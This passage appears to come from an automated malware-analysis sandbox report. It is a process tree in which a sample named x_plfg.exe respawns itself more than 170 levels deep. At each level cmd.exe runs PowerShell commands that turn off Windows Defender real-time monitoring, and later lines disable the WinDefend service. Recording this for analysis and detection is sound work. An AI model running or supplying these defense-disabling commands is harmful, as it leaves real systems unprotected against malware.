        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        16⤵
        Suspicious use of WriteProcessMemory
        
        PID:2092
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        Suspicious use of WriteProcessMemory
        
        PID:2236
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        18⤵
        Suspicious use of WriteProcessMemory
        
        PID:2664
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        Suspicious use of WriteProcessMemory
        
        PID:3840
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        20⤵
        Suspicious use of WriteProcessMemory
        
        PID:3676
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        Suspicious use of WriteProcessMemory
        
        PID:1480
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        22⤵
        Suspicious use of WriteProcessMemory
        
        PID:3636
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        Suspicious use of WriteProcessMemory
        
        PID:1364
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        24⤵
        Suspicious use of WriteProcessMemory
        
        PID:5640
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        25⤵
        Suspicious use of WriteProcessMemory
        
        PID:1132
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        26⤵
        Suspicious use of WriteProcessMemory
        
        PID:1256
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        27⤵
        Suspicious use of WriteProcessMemory
        
        PID:6780
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        28⤵
        Suspicious use of WriteProcessMemory
        
        PID:6620
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        29⤵
        Suspicious use of WriteProcessMemory
        
        PID:5724
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        30⤵
        Suspicious use of WriteProcessMemory
        
        PID:2756
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        
        PID:6256
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        32⤵
        
        PID:4524
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        33⤵
        
        PID:4840
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        34⤵
        
        PID:6928
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        35⤵
        
        PID:4804
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        36⤵
        
        PID:3236
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        37⤵
        
        PID:4640
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        38⤵
        
        PID:708
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        39⤵
        
        PID:564
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        40⤵
        
        PID:1460
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        41⤵
        
        PID:2184
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        42⤵
        
        PID:6576
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        43⤵
        
        PID:4276
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        44⤵
        
        PID:6132
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        45⤵
        
        PID:2436
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        46⤵
        
        PID:5712
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        47⤵
        
        PID:1720
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        48⤵
        
        PID:6892
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        49⤵
        
        PID:6372
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        50⤵
        
        PID:2936
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        51⤵
        
        PID:4164
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        52⤵
        
        PID:5272
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        53⤵
        
        PID:2352
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        54⤵
        
        PID:2392
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        55⤵
        
        PID:300
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        56⤵
        
        PID:5836
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        57⤵
        
        PID:4900
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        58⤵
        
        PID:6356
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        59⤵
        
        PID:5616
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        60⤵
        
        PID:5180
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        61⤵
        
        PID:6480
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        62⤵
        
        PID:5424
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        63⤵
        
        PID:2976
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        64⤵
        
        PID:6516
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        65⤵
        
        PID:2568
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        66⤵
        
        PID:6872
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        67⤵
        
        PID:2032
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        68⤵
        
        PID:4628
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        69⤵
        
        PID:4684
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        70⤵
        
        PID:1120
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        71⤵
        
        PID:5100
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        72⤵
        
        PID:4444
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        73⤵
        
        PID:6628
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        74⤵
        
        PID:3296
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        75⤵
        
        PID:6352
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        76⤵
        
        PID:860
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        77⤵
        
        PID:3232
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        78⤵
        
        PID:6528
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        79⤵
        
        PID:5236
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        80⤵
        
        PID:2824
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        81⤵
        
        PID:7180
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        82⤵
        
        PID:7224
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        83⤵
        
        PID:7264
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        84⤵
        
        PID:7308
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        85⤵
        
        PID:7348
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        86⤵
        
        PID:7392
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        87⤵
        
        PID:7432
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        88⤵
        
        PID:7476
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        89⤵
        
        PID:7516
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        90⤵
        
        PID:7560
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        91⤵
        
        PID:7600
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        92⤵
        
        PID:7644
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        93⤵
        
        PID:7684
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        94⤵
        
        PID:7728
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        95⤵
        
        PID:7768
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        96⤵
        
        PID:7812
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        97⤵
        
        PID:7852
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        98⤵
        
        PID:7896
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        99⤵
        
        PID:7936
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        100⤵
        
        PID:7980
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        101⤵
        
        PID:8020
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        102⤵
        
        PID:8068
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        103⤵
        
        PID:8108
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        104⤵
        
        PID:8152
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        105⤵
        
        PID:7196
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        106⤵
        
        PID:7572
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        107⤵
        
        PID:7992
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        108⤵
        
        PID:3380
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        109⤵
        
        PID:8220
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        110⤵
        
        PID:8380
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        111⤵
        
        PID:8480
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        112⤵
        
        PID:8568
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        113⤵
        
        PID:8640
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        114⤵
        
        PID:8724
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        115⤵
        
        PID:8824
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        116⤵
        
        PID:8916
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        117⤵
        
        PID:9000
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        118⤵
        
        PID:9108
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        119⤵
        
        PID:9184
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        120⤵
        
        PID:8236
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        121⤵
        
        PID:8964
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        122⤵
        
        PID:9240
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        123⤵
        
        PID:9316
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        124⤵
        
        PID:9452
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        125⤵
        
        PID:9580
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        126⤵
        
        PID:9704
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        127⤵
        
        PID:9828
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        128⤵
        
        PID:9936
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        129⤵
        
        PID:10080
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        130⤵
        
        PID:10188
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        131⤵
        
        PID:9596
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        132⤵
        
        PID:10340
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        133⤵
        
        PID:10464
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        134⤵
        
        PID:10620
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        135⤵
        
        PID:10724
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        136⤵
        
        PID:10864
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        137⤵
        
        PID:10944
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        138⤵
        
        PID:11104
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        139⤵
        
        PID:11232
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        140⤵
        
        PID:10612
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        141⤵
        
        PID:11320
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        142⤵
        
        PID:11444
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        143⤵
        
        PID:11588
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        144⤵
        
        PID:11732
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        145⤵
        
        PID:11864
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        146⤵
        
        PID:12012
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        147⤵
        
        PID:12160
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        148⤵
        
        PID:11456
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        149⤵
        
        PID:12296
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        150⤵
        
        PID:12424
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        151⤵
        
        PID:12520
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        152⤵
        
        PID:12696
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        153⤵
        
        PID:12828
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        154⤵
        
        PID:12964
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        155⤵
        
        PID:13108
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        156⤵
        
        PID:13248
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        157⤵
        
        PID:12664
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        158⤵
        
        PID:13396
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        159⤵
        
        PID:13500
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        160⤵
        
        PID:13624
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        161⤵
        
        PID:13764
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        162⤵
        
        PID:13916
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        163⤵
        
        PID:14124
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        164⤵
        
        PID:14092
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        165⤵
        
        PID:14584
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        166⤵
        
        PID:15052
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        167⤵
        
        PID:15796
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        168⤵
        
        PID:16532
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        169⤵
        
        PID:17516
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        170⤵
        
        PID:16956
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        171⤵
        
        PID:20452
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        172⤵
        
        PID:21644
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        173⤵
        
        PID:24708
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        174⤵
        
        PID:33700
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        175⤵
        
        PID:35532
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        170⤵
        
        PID:39700
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        168⤵
        
        PID:36572
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        169⤵
        
        PID:38028
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        166⤵
        
        PID:32916
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        167⤵
        
        PID:35988
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        164⤵
        
        PID:32436
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        165⤵
        
        PID:34624
        
        C:\Windows\System32\cmd.exe
        
